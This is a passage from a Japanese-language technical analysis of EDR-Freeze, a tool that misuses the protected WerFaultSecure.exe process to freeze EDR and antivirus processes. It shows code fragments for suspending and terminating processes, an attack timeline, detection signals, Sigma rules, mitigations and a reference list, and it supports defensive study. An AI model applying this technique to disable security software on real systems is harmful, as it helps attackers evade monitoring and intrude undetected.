- ターゲットプロセスの全スレッドをサスペンド
- メモリダンプを取得(hEncDumpに書き込み)
- 全スレッドをレジューム
ステップ1完了後、ステップ3の前にWerFaultSecure自体をサスペンドすれば、ターゲットはサスペンド状態のまま留まる。ダンプの書き込みには時間がかかるため(フルダンプの場合はプロセスメモリ全体をファイルに書き出す)、ステップ2の実行中にWerFaultSecureをサスペンドできる時間的余裕がある。
9. プロセスサスペンド:SuspendProcessByPID()
ファイル: ProcessMisc.cpp 162〜189行目
BOOL SuspendProcessByPID(DWORD pid) { HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll"); if (!hNtdll) return false; pNtSuspendProcess NtSuspendProcess = (pNtSuspendProcess)GetProcAddress(hNtdll, "NtSuspendProcess"); if (!NtSuspendProcess) return false; HANDLE hProcess = OpenProcess(PROCESS_SUSPEND_RESUME, FALSE, pid); if (!hProcess) { std::wcerr << L"OpenProcess: PROCESS_SUSPEND_RESUME failed: " << GetLastError() << std::endl; return false; } NTSTATUS status = NtSuspendProcess(hProcess); CloseHandle(hProcess); // ... }
9.1 NtSuspendProcessの使用理由
NtSuspendProcess はntdll.dllのundocumented APIであり、Win32レベルには SuspendProcess に直接対応するAPIが存在しない(SuspendThread はあるが SuspendProcess はない)。このネイティブAPIはプロセス内の全スレッドを一括でサスペンドする。Win32レベルで同等のことを行うには、CreateToolhelp32Snapshot でスレッドを列挙し、個別に SuspendThread を呼ぶ必要があるが、スレッド列挙中に新スレッドが作成されるレースコンディションがある。NtSuspendProcess はカーネル内でアトミックに全スレッドをサスペンドするため、この問題を回避できる。
リファレンス — NtSuspendProcess:
- NtDoc「NtSuspendProcess」(System Informer / Process Hackerのphntヘッダベース):
https://ntdoc.m417z.com/ntsuspendprocessPROCESS_SUSPEND_RESUMEアクセス権が必要であること、内部的にスレッドを1つずつサスペンドするためレースコンディションの可能性があること、THREAD_CREATE_FLAGS_BYPASS_PROCESS_FREEZEフラグ付きスレッドは無視されることを記述。
- Opcode「NtSuspendProcess」(カーネル内部動作の解析):
https://ntopcode.wordpress.com/tag/ntsuspendprocess/
9.2 PROCESS_SUSPEND_RESUMEアクセス権とPPL
OpenProcess(PROCESS_SUSPEND_RESUME, FALSE, pid) でWerFaultSecureのハンドルを取得している。WerFaultSecureはPPL保護されたプロセスであるが、SeDebugPrivilege が有効な場合、PPLプロセスに対しても一部のアクセス権(PROCESS_SUSPEND_RESUME、PROCESS_TERMINATE)が取得可能である。これはWindowsのPPL保護モデルの設計上の限界であり、本ツールが悪用するポイントの一つである。
リファレンス — PPLプロセスに対するアクセス権:
- 公式Microsoft「Process Security and Access Rights」(既出URL):
- 「The following standard access rights are not allowed from a process to a protected process」として保護プロセスに対するアクセス制限を列挙。ただし
PROCESS_SUSPEND_RESUMEは明示的に禁止リストに含まれていないことが確認可能。
- 「The following standard access rights are not allowed from a process to a protected process」として保護プロセスに対するアクセス制限を列挙。ただし
10. プロセス強制終了:TerminateProcessByPID()
ファイル: ProcessMisc.cpp 191〜210行目
BOOL TerminateProcessByPID(DWORD pid) { HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pid); if (!hProcess) { std::cerr << "OpenProcess failed. Error: " << GetLastError() << "\n"; return false; } BOOL result = TerminateProcess(hProcess, 1); // ... }
Sleep(sleepTime) 後にWerFaultSecureを強制終了するために呼ばれる。TerminateProcess はカーネル内でプロセスの全スレッドを終了させ、プロセスオブジェクトをクリーンアップする。WerFaultSecureが終了すると、ダンプ取得のためにサスペンドされていたターゲットプロセスのスレッドは自動的にレジュームされる(カーネルがダンプ関連のサスペンドカウントを解除する)。
終了コード 1 は慣例的にエラー終了を意味するが、本ツールとしてはこの値に意味はない。
11. 攻撃フロー全体のタイムライン図
時間 → EDR-Freeze (メインスレッド) ├── EnableDebugPrivilege() ├── GetMainThreadId(targetPID) ├── FreezeRun() 開始 │ ├── hEncDump, hCancel 作成(継承可能ハンドル) │ ├── CreatePPLProcess() → WerFaultSecure.exe 起動 (PPL/WinTcb) │ ├── CreateThread(PauseCheck) → 監視スレッド起動 │ ├── Sleep(sleepTime) ←─── 凍結時間 ────→ TerminateProcessByPID(werPID) │ └── クリーンアップ → ターゲット自動レジューム EDR-Freeze (PauseCheckスレッド) │ ├── while(!IsProcessSuspendedByPID(target)) spin... │ └── SuspendProcessByPID(werPID) → WerFaultSecure サスペンド WerFaultSecure.exe (PPL/WinTcb) │ ├── ターゲットの全スレッドをサスペンド ← ★ここが検知ポイント │ ├── ダンプデータ書き込み中... ← PauseCheckがここで止める │ ├── ▓▓▓ サスペンド状態 ▓▓▓▓▓▓ ← Sleep(sleepTime)の間 │ └── 強制終了される ターゲットEDRプロセス │ ├── 正常動作中... │ ├── ▓▓▓ 全スレッドサスペンド ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ← EDR機能停止 │ └── 自動レジューム → 正常動作再開
12. 防御側の観点:検知・緩和策
12.1 検知シグナル
| 検知ポイント | 詳細 | 該当コード箇所 |
|---|---|---|
| 異常な親プロセス | WerFaultSecure.exeの親が svchost.exe/WerSvc 以外 | CreatePPLProcess() での CreateProcessW |
| コマンドライン監視 | WerFaultSecure.exeの引数に /h + 任意PIDの組み合わせ |
FreezeRun() のコマンドライン組み立て部分 |
| CREATE_PROTECTED_PROCESS | 非標準バイナリからの PPLプロセス作成フラグ | CreateProcessW の dwCreationFlags |
| SeDebugPrivilege有効化 | 非システムプロセスによるSeDebugPrivilegeのトークン操作 | EnableDebugPrivilege() |
| NtSuspendProcess呼び出し | PPLプロセスへの NtSuspendProcess | SuspendProcessByPID() |
| EDRプロセスの全スレッド一斉サスペンド | ThreadState=5, WaitReason=5 の全スレッド一致パターン | WerFaultSecureの内部動作結果 |
12.2 ETWイベントによる検知
ETW(Event Tracing for Windows)の以下のプロバイダで関連イベントを捕捉可能:
| プロバイダ | 検知対象 |
|---|---|
| Microsoft-Windows-Kernel-Process | プロセス作成イベント(CREATE_PROTECTED_PROCESS フラグ付き) |
| Microsoft-Windows-Security-Auditing | 特権使用(SeDebugPrivilege)、プロセスアクセスイベント |
| Microsoft-Windows-Kernel-Audit-API-Calls | OpenProcess によるアクセス権取得 |
リファレンス — ETWによるセキュリティ監視:
- 公式Microsoft「Instrumenting Your Code with ETW」:
https://learn.microsoft.com/en-us/windows-hardware/test/weg/instrumenting-your-code-with-etw- ETWの基本アーキテクチャ(プロバイダ、コンシューマ、コントローラ)、イベントの構造化、パフォーマンスモニタリングとセキュリティ診断への活用。
- Elastic Security Labs「Kernel ETW is the best ETW」:
https://www.elastic.co/security-labs/kernel-etw-best-etw
12.3 Sigma検知ルール
EDR-Freezeに対するSigmaルールが既にSigmaHQリポジトリで公開されている:
リファレンス — 検知ルール:
- SigmaHQ「Suspicious Process Suspension via WERFaultSecure through EDR-Freeze」:
https://detection.fyi/sigmahq/sigma/windows/process_creation/proc_creation_win_werfaultsecure_process_freeze/ - SigmaHQ「PPL Tampering Via WerFaultSecure」:
https://detection.fyi/sigmahq/sigma/windows/process_creation/proc_creation_win_werfaultsecure_abuse/ - SigmaHQ「Hacktool - EDR-Freeze Execution」:
https://detection.fyi/sigmahq/sigma/windows/process_creation/proc_creation_win_hktl_edr_freeze/- EDR-Freezeバイナリ自体の実行を検知するルール。実行ファイル名およびIMPHASH値によるマッチング。
12.4 緩和策
| 対策 | 効果 |
|---|---|
| PPL保護されたプロセスからのNtSuspendProcess呼び出し制限 | OS側のセキュリティ強化として、PPLプロセスに対する PROCESS_SUSPEND_RESUME の発行をさらに制限する |
| WerFaultSecure.exeの起動コンテキスト検証 | 正規のWERフロー以外からの起動を拒否するポリシー実装 |
| EDRの自己保護(Watchdogスレッド) | EDRプロセスが別プロセス/サービスからの死活監視を受け、サスペンド検知時に自動復旧する |
| WDAC(Windows Defender Application Control) | 信頼されたバイナリ以外の実行を制限し、EDR-Freeze自体の実行を阻止する |
13. コードの潜在的な問題点
13.1 リソースリーク
FreezeRun() 内で PauseCheckParams を new で確保し、関数末尾で delete しているが、PauseCheck スレッドがまだ実行中の場合(Sleep(sleepTime) よりも PauseCheck の処理が遅い場合)、use-after-freeが発生する可能性がある。また、hThread に対して WaitForSingleObject を呼ばずに CloseHandle しているため、スレッドの完了を保証していない。
13.2 ダンプファイル削除の不一致
// EDR-Freeze.cpp 103〜111行目 if (DeleteFileW(L"t.txt"))
ファイル名として L"t.txt" をハードコードしているが、ダンプファイルは L"dump_" + std::to_wstring(targetPID) + L".txt" として作成されている(36行目)。削除対象のファイル名が一致しておらず、実際のダンプファイルがディスクに残留する。
13.3 IsProcessSuspendedByPIDの戻り値の不整合
// ProcessMisc.cpp 158〜159行目 VirtualFree(buffer, 0, MEM_RELEASE); return mainThreadId; // ← DWORD mainThreadId = 0 のまま
ターゲットPIDがプロセスリストに存在しなかった場合、初期値 0 の mainThreadId(DWORD)を BOOL として返している。0 は FALSE と等価なので動作上は問題ないが、変数名と意図が不一致であり、GetMainThreadId() からコピーした際の修正漏れと推測される。
14. 参考リファレンス一覧
本解析で参照した全リファレンスを、トピック別に整理する。
14.1 EDR-Freeze本体
| リファレンス | URL |
|---|---|
| GitHubリポジトリ | https://github.com/TwoSevenOneT/EDR-Freeze |
| 作者ブログ(技術解説) | https://www.zerosalarium.com/2025/09/EDR-Freeze-Puts-EDRs-Antivirus-Into-Coma.html |
| CreateProcessAsPPL(先行ツール) | https://github.com/TwoSevenOneT/CreateProcessAsPPL |
14.2 WerFaultSecure.exeとWER
| リファレンス | URL |
|---|---|
| The Windows Process Journey — WerFaultSecure.exe | https://medium.com/@boutnaru/the-windows-process-journey-werfaultsecure-exe-windows-fault-reporting-8895b048fc29 |
| Google Project Zero — PPLコード注入 Part 1 | https://projectzero.google/2018/10/injecting-code-into-windows-protected.html |
| Google Project Zero — PPLコード注入 Part 2 | https://projectzero.google/2018/11/injecting-code-into-windows-protected.html |
14.3 PPL保護モデル
| リファレンス | URL |
|---|---|
| Protecting anti-malware services(公式) | https://learn.microsoft.com/en-us/windows/win32/services/protecting-anti-malware-services- |
| PROCESS_PROTECTION_LEVEL_INFORMATION(公式) | https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-process_protection_level_information |
| Process Security and Access Rights(公式) | https://learn.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights |
14.4 プロセス・スレッドAPI
| リファレンス | URL |
|---|---|
| CreateProcessW(公式) | https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessw |
| UpdateProcThreadAttribute(公式) | https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-updateprocthreadattribute |
| Enabling and Disabling Privileges(公式) | https://learn.microsoft.com/en-us/windows/win32/secauthz/enabling-and-disabling-privileges-in-c-- |
14.5 NtQuerySystemInformation・スレッド状態
| リファレンス | URL |
|---|---|
| NtQuerySystemInformation(公式) | https://learn.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation |
| SYSTEM_PROCESS_INFORMATION(Geoff Chappell) | https://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ex/sysinfo/process.htm |
| SYSTEM_THREAD_INFORMATION(MS-TSTS公式) | https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsts/e82d73e4-cedb-4077-9099-d58f3459722f |
| Win32_Thread class(ThreadState/WaitReason値定義) | https://learn.microsoft.com/en-us/windows/win32/cimwin32prov/win32-thread |
| ThreadWaitReason Enum(.NET公式) | https://learn.microsoft.com/en-us/dotnet/api/system.diagnostics.threadwaitreason?view=net-9.0 |
14.6 NtSuspendProcess
| リファレンス | URL |
|---|---|
| NtDoc — NtSuspendProcess | https://ntdoc.m417z.com/ntsuspendprocess |
| Opcode — NtSuspendProcess カーネル内部解析 | https://ntopcode.wordpress.com/tag/ntsuspendprocess/ |
14.7 ETWと検知
| リファレンス | URL |
|---|---|
| Instrumenting Your Code with ETW(公式) | https://learn.microsoft.com/en-us/windows-hardware/test/weg/instrumenting-your-code-with-etw |
| Kernel ETW is the best ETW(Elastic) | https://www.elastic.co/security-labs/kernel-etw-best-etw |
| Sigmaルール: WerFaultSecure Process Freeze | https://detection.fyi/sigmahq/sigma/windows/process_creation/proc_creation_win_werfaultsecure_process_freeze/ |
| Sigmaルール: PPL Tampering Via WerFaultSecure | https://detection.fyi/sigmahq/sigma/windows/process_creation/proc_creation_win_werfaultsecure_abuse/ |
| Sigmaルール: Hacktool EDR-Freeze Execution | https://detection.fyi/sigmahq/sigma/windows/process_creation/proc_creation_win_hktl_edr_freeze/ |
| MITRE ATT&CK T1562.001 | https://attack.mitre.org/techniques/T1562/001/ |
14.8 外部分析記事
| リファレンス | URL |
|---|---|
| Picus Security — EDR-Freeze分析 | https://www.picussecurity.com/resource/blog/edr-freeze-the-user-mode-attack-that-puts-security-into-a-coma |
| BleepingComputer — EDR-Freeze報道 | https://www.bleepingcomputer.com/news/security/new-edr-freeze-tool-uses-windows-wer-to-suspend-security-software/ |